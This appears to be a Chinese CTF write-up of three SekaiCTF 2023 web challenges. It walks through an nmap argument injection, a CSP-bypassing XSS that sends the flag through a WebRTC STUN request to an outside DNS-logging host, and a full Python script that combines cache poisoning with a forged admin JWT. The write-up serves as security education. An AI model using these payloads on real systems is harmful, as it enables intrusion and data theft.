SekaiCTF 2023 Writeups
Yet another CTF writeups ;)
Intro
這個假日與${CyStick}
一起參加了SekaiCTF,幫忙解了幾題,這裡紀錄一下解題過程和幾題有趣的題目(*
標記的題目最終不是我解掉的)
Scanner Service (Web)
Overview
nmap as a service:
post '/' do
input_service = escape_shell_input(params[:service])
hostname, port = input_service.split ':', 2
begin
if valid_ip? hostname and valid_port? port
# Service up?
s = TCPSocket.new(hostname, port.to_i)
s.close
# Assuming valid ip and port, this should be fine
@scan_result = IO.popen("nmap -p #{port} #{hostname}").read
else
@scan_result = "Invalid input detected, aborting scan!"
end
rescue Errno::ECONNREFUSED
@scan_result = "Connection refused on #{hostname}:#{port}"
rescue => e
@scan_result = e.message
end
erb :'index'
end
valid_port?
, valid_ip?
, escape_shell_input
:
def valid_port?(input)
!input.nil? and (1..65535).cover?(input.to_i)
end
def valid_ip?(input)
pattern = /\A((25[0-5]|2[0-4]\d|[01]?\d{1,2})\.){3}(25[0-5]|2[0-4]\d|[01]?\d{1,2})\z/
!input.nil? and !!(input =~ pattern)
end
# chatgpt code :-)
def escape_shell_input(input_string)
escaped_string = ''
input_string.each_char do |c|
case c
when ' '
escaped_string << '\\ '
when '$'
escaped_string << '\\$'
when '`'
escaped_string << '\\`'
when '"'
escaped_string << '\\"'
when '\\'
escaped_string << '\\\\'
when '|'
escaped_string << '\\|'
when '&'
escaped_string << '\\&'
when ';'
escaped_string << '\\;'
when '<'
escaped_string << '\\<'
when '>'
escaped_string << '\\>'
when '('
escaped_string << '\\('
when ')'
escaped_string << '\\)'
when "'"
escaped_string << '\\\''
when "\n"
escaped_string << '\\n'
when "*"
escaped_string << '\\*'
else
escaped_string << c
end
end
escaped_string
end
目標很明顯,想辦法command injection,然後想辦法靠nmap的features拿shell或flag。
Solution
可以觀察到escape_shell_input
過濾的字元有明顯的缺漏:
- 只過濾
\t
等等其他種的空白字元 - 沒過濾
?
另外,valid_port?
是靠to_i
判斷的。在ruby中:
irb(main):002:0> "1234 escape!!!".to_i
=> 1234
所以可以很輕鬆的在port的位置command injection
最終翻一下nmap的manual可以發現他有一個--excludefile
的功能會去讀檔,並且把error吐到stderr,另外-oX
的輸出會包含error,所以只需要把輸出導向stdout即可拿到flag:
最後的payload:
POST / HTTP/1.1
Host: 35.231.135.130:30204
Content-Length: 107
service=127.0.0.1:1337%09--excludefile%09/flag-????????????????????????????????.txt%09-oX%09/proc/self/fd/1
Response:
...
<finished time="1693140961" timestr="Sun Aug 27 12:56:01 2023" summary="Nmap done at Sun Aug 27 12:56:01 2023; 0 IP addresses (0 hosts up) scanned in 0.20 seconds" elapsed="0.20" exit="error" errormsg="Error resolving name "SEKAI{4r6um3n7_1nj3c710n_70_rc3!!}": Name does not resolve
"/><hosts up="0" down="0" total="0"/>
flag: SEKAI{4r6um3n7_1nj3c710n_70_rc3!!}
*Golf Jail (Web)
Overview
<?php
header("Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';");
header("Cross-Origin-Opener-Policy: same-origin");
$payload = "🚩🚩🚩";
if (isset($_GET["xss"]) && is_string($_GET["xss"]) && strlen($_GET["xss"]) <= 30) {
$payload = $_GET["xss"];
}
$flag = "SEKAI{test_flag}";
if (isset($_COOKIE["flag"]) && is_string($_COOKIE["flag"])) {
$flag = $_COOKIE["flag"];
}
?>
<!DOCTYPE html>
<html>
<body>
<iframe
sandbox="allow-scripts"
srcdoc="<!-- <?php echo htmlspecialchars($flag) ?> --><div><?php echo htmlspecialchars($payload); ?></div>"
></iframe>
</body>
</html>
CSP:
default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';
可以在srcdoc裡面插入30個字元,目標是繞過CSP和iframe的sandbox,拿到flag。
Solution
經過測試,我發現iframe中的baseURI
會繼承parent的baseURI
,並且在執行tag的onload時,browser會用with
的方式把那個tag的attributes都包進去
因此只需要透過<svg/onload=eval('`'+baseURI)>
的方式,就可以繞過字數限制,eval URL裡面的payload
另外,要獲得flag我們可以透過document.childNodes[0].nodeValue.trim()
的方式,獲得comment中的flag
但我在這裡就止步了,因為我不知道怎麼繞過connent-src的CSP把flag傳出來,隊友後來有想出幾招:
- link tag dns-prefetch/preconnect: 不確定原因,但這個只在最新版本的mac系統的chrome上有成功,remote和隊友windows系統的chrome都失敗了
- RTCPeerConnection: 最後是靠這個拿到flag的
隊友的payload:
https://golfjail.chals.sekai.team/?`;d=new[window.URL][0](document.body.baseURI).searchParams.get(`h`);console.log(d);eval(d)//&xss=%3Csvg/onload=eval(%27%60%27%2bbaseURI)%3E&h=console.log(123);pc%20=%20new%20RTCPeerConnection({iceServers:%20[{%27url%27:%20%27stun:%27%2B[...document.childNodes[0].nodeValue.trim()].map(c=%3Ec.charCodeAt(0)).map(c=%3Ec.toString(16).padStart(2,%270%27)).join(%27%27).slice(60,80)%2B%27.o4ns16y.q.dnsl0g.net:19302%27,}]});pc.createDataChannel(%27d%27);pc.setLocalDescription();
flag: SEKAI{jsjails_4re_b3tter_th4n_pyjai1s!}
Chunky (Web)
Overview
services:
blog:
build: ./blog
extra_hosts:
- "chunky.chals.sekai.team:host-gateway"
environment:
- DB=blog.db
- FLAG=SEKAI{1337}
- SECRET_KEY=kgDz@W9ks29myrk8NxiIBqntoZ*N4oBX@
- JWKS_URL_TEMPLATE=http://chunky.chals.sekai.team:8080/{user_id}/.well-known/jwks.json
nginx:
build: ./nginx
cache:
build: ./rcache
ports:
- "8080:8080"
總共有三個server
- blog: 真正有功能的server
- nginx: reverse proxy,負責將cache給的request轉發到blog
- cache: cache server,唯一對外開放的server,負責將request cache起來,並且在cache hit時將cache的response送回給nginx
blog有一個創造post的功能:
@app.route("/create_post", methods=["GET", "POST"])
def create_post():
if "user_id" not in session:
return do_not_cache(redirect("/login"))
if request.method == "POST":
title = request.form["title"]
content = request.form["content"]
user_id = session["user_id"]
post_id = blog_posts.create_post(title, content, user_id)
return do_not_cache(redirect(f"/post/{user_id}/{post_id}"))
if request.method == "GET":
return do_not_cache(render_template("create_post.html"))
@app.route("/post/<user_id>/<post_id>")
def post(user_id, post_id):
post = blog_posts.get_post(post_id)
return render_template("post.html", post=post)
另外有一個jwks.json
的endpoint,用作拿flag時驗證jwt的方式:
@app.route("/<user_id>/.well-known/jwks.json")
def jwks(user_id):
f = open("jwks.json", "r")
jwks_contents = f.read()
f.close()
return jwks_contents
from flask import Blueprint, request, session
import os
import jwt
import requests
admin_bp = Blueprint("admin", __name__, url_prefix="/admin")
jwks_url_template = os.getenv("JWKS_URL_TEMPLATE")
valid_algo = "RS256"
def get_public_key_url(user_id):
return jwks_url_template.format(user_id=user_id)
def get_public_key(url):
resp = requests.get(url)
print(resp.content, flush=True)
resp = resp.json()
key = resp["keys"][0]["x5c"][0]
return key
def has_valid_alg(token):
header = jwt.get_unverified_header(token)
algo = header["alg"]
return algo == valid_algo
def authorize_request(token, user_id):
pubkey_url = get_public_key_url(user_id)
if has_valid_alg(token) is False:
raise Exception(
"Invalid algorithm. Only {valid_algo} allowed!".format(
valid_algo=valid_algo
)
)
pubkey = get_public_key(pubkey_url)
print(pubkey, flush=True)
pubkey = "-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(
pubkey=pubkey
).encode()
decoded_token = jwt.decode(token, pubkey, algorithms=["RS256"])
if "user" not in decoded_token:
raise Exception("user claim missing!")
if decoded_token["user"] == "admin":
return True
return False
@admin_bp.before_request
def authorize():
if "user_id" not in session:
return "User not signed in!", 403
if "Authorization" not in request.headers:
return "No Authorization header found!", 403
authz_header = request.headers["Authorization"].split(" ")
if len(authz_header) < 2:
return "Bearer token not found!", 403
token = authz_header[1]
if not authorize_request(token, session["user_id"]):
return "Authorization failed!", 403
@admin_bp.route("/flag")
def flag():
return os.getenv("FLAG")
nginx的設定:
user nginx;
worker_processes 1;
error_log /var/log/nginx/error.log debug;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
accept_mutex off;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
keepalive_timeout 65;
server {
listen 80 default_server;
keepalive_timeout 60;
location / {
proxy_pass http://blog:8002;
}
}
}
cache運作的大致流程(省略了一些跟我最終的解法無關的內容):
parts := strings.Split(requestLine, " ")
if len(parts) != 3 {
fmt.Println("Invalid request line:", requestLine)
return
}
method := parts[0]
path := parts[1]
version := parts[2]
// ...
cacheKey := method + " " + path
if cachedResponse, ok := cache.Get(cacheKey); ok {
fmt.Println("Cache hit for", cacheKey)
writer.WriteString(cachedResponse)
writer.Flush()
return
}
// ...
response, headers, err := forwardRequest(serverConn, method, path, version, headers, host, reader)
if err != nil {
fmt.Println("Error forwarding request:", err.Error())
return
}
should_cache := true
for k, v := range headers {
if path == "/admin/flag" || (k == "Cache-Control" && v == "no-store") {
should_cache = false
}
}
if should_cache {
cache.Set(cacheKey, response)
}
writer.WriteString(response)
writer.Flush()
可以發現目標蠻明顯的,想辦法cache poisoning,污染cache server對jwks.json的response,讓他回傳我們的public key,這樣就可以拿到flag了。
Solution
我的解法:
import json
import secrets
import httpx
import jwt
import requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from pwn import *
HOST, PORT = "chunky.chals.sekai.team", 8080
if args.LOCAL:
HOST, PORT = "localhost", 8080
CHALL_URL = f"http://{HOST}:{PORT}"
# Generate a private key
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
)
# Serialize the private key to PEM format
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
# Generate the corresponding public key
public_key = private_key.public_key()
# Serialize the public key to PEM format
public_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo
)
ADMIN_TOKEN = jwt.encode({"user": "admin"}, private_pem, algorithm="RS256")
assert jwt.decode(ADMIN_TOKEN, public_pem, algorithms=["RS256"]) == {"user": "admin"}
JWKS_JSON = json.dumps(
{
"keys": [
{
"alg": "RS256",
"x5c": [
public_pem.decode()
.replace("-----BEGIN PUBLIC KEY-----\n", "")
.replace("\n-----END PUBLIC KEY-----\n", "")
],
}
]
}
)
def create_and_login(client: httpx.Client) -> str:
username = secrets.token_hex(8)
client.post(
"/signup",
data={
"username": username,
"password": username,
},
)
client.post(
"/login",
data={
"username": username,
"password": username,
},
)
return username
def create_post(client: httpx.Client, title: str, content: str) -> str:
r = client.post(
"/create_post",
data={
"title": title,
"content": content,
},
)
return r.headers["Location"]
def cache_poisoning(target_user_id: str, post_path: str) -> None:
payload = f"""\
GET /{target_user_id}/.well-known/jwks.json /../../..{post_path}\r
\r
""".encode()
with remote(HOST, PORT) as io:
io.send(payload)
info("Cache:")
print(io.recv(4096).replace(b"\r\n", b"\n").decode())
info("After:")
r = requests.get(f"{CHALL_URL}/{target_user_id}/.well-known/jwks.json")
# print(r.content)
# print(r.json())
print(r.text.replace("\r\n", "\n"))
assert r.json() == json.loads(JWKS_JSON)
def login_as_admin(client: httpx.Client) -> None:
headers = {
"Authorization": f"Bearer {ADMIN_TOKEN}",
}
r = client.get(
"/admin/flag",
headers=headers,
)
info("Flag:")
print(r.text)
def main() -> None:
payload = f"""\
HTTP/1.1 200 OK\r
Content-Length: {len(JWKS_JSON)}\r
\r
{JWKS_JSON}\r
"""
with httpx.Client(base_url=CHALL_URL) as client:
tareget_user = create_and_login(client)
info(f"Logged in as {tareget_user}")
post_path = create_post(client, payload, "")
target_user_id = post_path.split("/")[2]
info(f"Created post at {post_path}")
cache_poisoning(target_user_id, post_path)
login_as_admin(client)
if __name__ == "__main__":
main()
# SEKAI{tr4nsf3r_3nc0d1ng_ftw!!}
flag: SEKAI{tr4nsf3r_3nc0d1ng_ftw!!}
我能解掉這題,基本上運氣很好,因為這個特性我完全是偶然發現的。我的解法基本上是靠著cache server與nginx對request line理解的不同所導致的差異,進行cache poisoning。
我payload中使用的request line為:
GET /xxxx/.well-known/jwks.json /../../../xxxx/yyyy
這個request line,在cache server透過strings.Split(requestLine, " ")
所理解到的資訊為:
- method: GET
- path:
/xxxx/.well-known/jwks.json
- HTTP version:
/../../../post/xxxx/yyyy
因此cache key為GET /xxxx/.well-known/jwks.json
但nginx並不這麼理解。
nginx處理request line的邏輯可以在ngx_http_parse_request_line中找到:
其中的重點是它處理uri和http version的部分:
在sw_check_uri:
狀態下,若是遇到空白字元,也就是parse完/xxxx/.well-known/jwks.json
後,nginx會進入sw_check_uri_http_09
的狀態:
/src/http/ngx_http_parse.c#L567-L570
case ' ':
r->uri_end = p;
state = sw_check_uri_http_09;
break;
在sw_check_uri_http_09
這個狀態下,若是讀不到CR
或HTTP/x.x
的開頭,nginx會直接回到sw_check_uri
的狀態,繼續parse uri:
/src/http/ngx_http_parse.c#L607-L628
case sw_check_uri_http_09:
switch (ch) {
case ' ':
break;
case CR:
r->http_minor = 9;
state = sw_almost_done;
break;
case LF:
r->http_minor = 9;
goto done;
case 'H':
r->http_protocol.data = p;
state = sw_http_H;
break;
default:
r->space_in_uri = 1;
state = sw_check_uri;
p--;
break;
}
break;
最後,當我們parse完整串request line,遇到CR
時,nginx會將此時的位置設定為uri end,再將http version設定為0.9,最後進入sw_almost_done
的狀態,準備結束parsing:
/src/http/ngx_http_parse.c#L571-L575
case CR:
r->uri_end = p;
r->http_minor = 9;
state = sw_almost_done;
break;
因此,最終nginx根據這個request line所得到的資訊為:
- method: GET
- path:
/xxxx/.well-known/jwks.json /../../../post/xxxx/yyyy
->/post/xxxx/yyyy
- HTTP version: 0.9
但要注意到,之所以path中能夠包含空格,是因為server所使用的nginx版本為1.18.0,小於1.21.1,因此nginx會將空格視為合法的path字元,類似的情況也在以前的CTF發生過
此時,若是nginx直接把request line原封不動送給upstream server,gunicorn因為不支援HTTP 0.9的request line,會直接回應400 Bad Request。
但根據nginx在proxy_pass時的default設定:
https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_http_version Sets the HTTP protocol version for proxying. By default, version 1.0 is used.
因此,nginx會將我們剛剛的request升級為HTTP 1.0的request,並且送給upstream server。最終,我們的request line會變成:
GET /post/xxxx/yyyy HTTP/1.0
這樣的request line,就可以成功送到upstream server,並且nginx會將回傳的response降級為HTTP 0.9的response,也就是沒有response headers,只有response body。
最終我們即可透過在/post/xxxx/yyyy
創造的假的HTTP response,來污染/xxxx/.well-known/jwks.json
的response,讓他回傳我們的public key,這樣就可以拿到flag了。